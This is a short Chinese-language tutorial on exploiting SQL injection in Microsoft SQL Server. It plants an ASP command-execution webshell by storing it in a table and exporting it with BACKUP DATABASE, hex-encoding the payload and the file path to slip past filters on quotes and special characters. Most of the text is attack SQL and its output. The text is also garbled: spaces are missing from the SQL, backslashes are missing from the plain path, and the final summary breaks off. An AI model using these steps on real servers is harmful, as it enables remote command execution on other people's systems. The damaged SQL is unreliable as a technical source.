Mssql Backup a Shell 突破特殊字符
2019/10/10/17:38:02 阅读:1903 来源:谷歌SEO算法 标签:
AI科学家
1.插入数据
mssql注射使用Backup或makewebtask得到webshell,在写入webshell代码时,如果过滤了一些特殊字符,如" '等。我们先mssql分析器里“查询”:
- usepubs;<===使用数据哭pubs
- createtablecmd(strimage);<===建立个表cmd一个属性为image的列
- insertintocmd(str)values('<%executerequest("cmd")&""%>')<===插入数据为<%executerequest("cmd")&""%>
- select*fromcmd;<===查询输出cmd里的所有数据
查询输出str为:
0x3C256578656375746520726571756573742822636D642229262222253E
我们不管插入str什么数据,在数据库里会自动转为hex编码,那么我们可以直接在上面的sql语句里insert into 的数据改为hex编码:
- usepubs
- createtablecmd(strimage)
- insertintocmd(str)values(0x3C256578656375746520726571756573742822636D642229262222253E)
- select*fromcmd
查询输出str为:
0x3C256578656375746520726571756573742822636D642229262222253E
为什么2种方法得到的结果一样,但是第2种方法里插入的数据,就没有' " &等等。
2.导出路径
常规的插入数据后导出webshell的语句为:
backup database model to disk='g:wwwtestl.asp';
显然导出路径里包涵了':等,我们照样可以使用hex编码来突破:
- declare@asysname
- select@a=0x673A5C777777746573745C6C2E617370<====0x673A5C777777746573745C6C2E617370为g:wwwtestl.asp对应的hex代码
- backupdatabasepubstodisk=@a
运行查询,可以成功导出webshell。
3.小结
结合1,2我们可以得到完整的导出webshell的sql语句格式为:
- usemodel
- createtablecmd(strimage)
- insertintocmd(str)values(0x***********)
- declare@asysnameselect@a=0x**********backupdatabasepubsto
热门评论